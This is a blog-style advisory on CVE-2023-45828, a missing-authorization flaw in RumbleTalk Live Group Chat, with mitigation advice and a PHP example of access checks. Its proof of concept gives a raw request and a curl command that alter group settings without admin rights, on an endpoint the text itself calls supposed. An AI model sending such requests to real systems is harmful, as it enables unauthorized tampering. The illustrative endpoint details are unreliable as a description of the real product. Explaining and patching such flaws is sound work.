CVE-2023-45828 - Exploiting Missing Authorization in RumbleTalk Live Group Chat (Up to 6.2.5)

CVE-2023-45828 highlights a significant security issue in RumbleTalk Ltd’s widely used Live Group Chat platform. This Missing Authorization vulnerability allows attackers to bypass access controls simply by exploiting incorrect security level configurations from versions up to 6.2.5.

Let’s break down what this vulnerability means, see an exploit example, and then guide you through patches, mitigation steps, and responsible usage of this information.

What Is RumbleTalk Live Group Chat?

RumbleTalk offers real-time group chat solutions for websites, online communities, webinars, and events. It’s popular due to its simple integration and rich features. But sometimes, popularity and fast growth can lead to overlooked security holes.

Vulnerability Details

CVE ID: CVE-2023-45828
Affected Product: RumbleTalk Live Group Chat
Affected Versions: n/a through 6.2.5
Type: Missing Authorization (Improper Access Control)
Discovered: 2023
Status: Patched in 6.2.6+

What’s the Risk?

If your website or app uses an affected RumbleTalk version, attackers can access or perform actions meant only for admins or higher-privilege users. This is because the system does not properly check if someone has permission before they can:

How Does It Work?

The root cause is missing authorization checks in API endpoints. A user can send requests to sensitive functions without the required authorization token or with a manipulated session.

For example, an attacker can call the endpoint for adding a group member or reading administrative chat logs simply by guessing the correct API URL or user/group ID.

Step-by-Step Proof of Concept

Suppose the API endpoint /api/group/edit changes group settings, protected by role-based access control (RBAC).
In versions prior to 6.2.6, this endpoint does not actually check the user's role with every request.

1. Attacker logs in as a normal user.
2. They intercept a legitimate admin request, or guess the API structure.

3. They craft a request like this

POST /api/group/edit HTTP/1.1
Host: chat.example.com
Content-Type: application/json

{
  "group_id": "123456",
  "settings": {
    "name": "HackedGroup",
    "welcomeMessage": "This was changed by an attacker"
  }
}

4. The server applies changes even though the attacker is NOT an admin.

Example with Curl

curl -X POST https://chat.example.com/api/group/edit \
-H "Content-Type: application/json" \
-d '{"group_id":"123456", "settings": {"name": "HackedGroup"}}'

Expected result: Only admins should be able to do this. With CVE-2023-45828 present, any regular user (even those without a valid session) might be able to change critical settings.

Reference Links

- CVE-2023-45828 on NVD
- RumbleTalk Security Advisories
- OWASP Access Control Cheat Sheet

Are You Affected?

- Using RumbleTalk Live Group Chat on your site/app?

How To Fix

1. Update ASAP:
Upgrade to RumbleTalk 6.2.6 or newer, which implements proper authorization checks for all admin and sensitive endpoints.

2. Temporary Workarounds:

Use a web application firewall (WAF) to block suspicious API calls

3. Follow Up:
Always test any third-party plugins, review code for missing or broken authorization logic, and subscribe to security advisory feeds for updates.

Here’s a simple example (in PHP) on how proper authorization should be handled

// BAD: No authorization check
if ($_POST["group_id"]) {
    // Changes made without access control
}

// GOOD: Authorization check
session_start();
if ($_SESSION["role"] === "admin" && isset($_POST["group_id"])) {
    // Only admins can make these changes
}

Final Words

Vulnerabilities like CVE-2023-45828 serve as a reminder: Never trust client input and always enforce authorization on sensitive operations.
This vulnerability was easily preventable—but in many applications, similar mistakes exist. If you use RumbleTalk, update immediately and audit your access controls.

Stay safe!

*Ethics note: This article is for educational purposes. Always have permission before testing or scanning systems you don’t own!*


Further Reading:
- Why Incorrect Access Levels Lead to Big Breaches (OWASP)
- How to Secure Group Chat Apps

Timeline

Published on: 01/02/2025 12:15:10 UTC